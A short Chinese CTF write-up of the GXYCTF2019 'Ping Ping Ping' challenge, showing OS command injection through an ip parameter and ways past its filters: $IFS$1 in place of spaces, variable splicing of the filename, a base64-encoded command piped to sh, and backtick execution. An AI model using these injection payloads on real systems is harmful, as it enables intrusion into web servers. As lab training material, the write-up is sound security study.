[GXYCTF2019]Ping Ping Ping

打开题目可以得到

在这里插入图片描述

看来这题是要我们来构造ip

那就先试试127.0.0.1,再用管道符加上linux常用命令ls试试

管道符就是:在这里插入图片描述

构造?ip=127.0.0.1;ls

在这里插入图片描述

好家伙出来了flag.php

直接连接它试试

?ip=127.0.0.1;cat flag

在这里插入图片描述

看来这里空格被过滤了

以下方法可以绕过空格
在这里插入图片描述

一个一个试发现$IFS$1是行得通的

那便构造:?ip=127.0.0.1;cat$IFS$1flag.php

在这里插入图片描述

看来flag也被过滤了

那便试试index

?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述

发现很多符号都过滤了

所以单引号双引号绕过,反斜线绕过这些都行不通了

但仔细观察源码发现有一个变量a可以替换

我们可以尝试构造

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

可以发现得到了flag

在这里插入图片描述

这里还可以将cat flag.php进行base64编码

得到Y2F0IGZsYWcucGhw

再用base64-d命令来执行

虽然过滤了bash但大部分仍然可以用sh来执行

则构造echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

还有一种内联执行的方法
所谓内联,就是将反引号内命令的输出作为输入执行

则尝试构造

1
?ip=127.0.0.1;cat$IFS$9`ls`

在这里插入图片描述

一样可以得到flag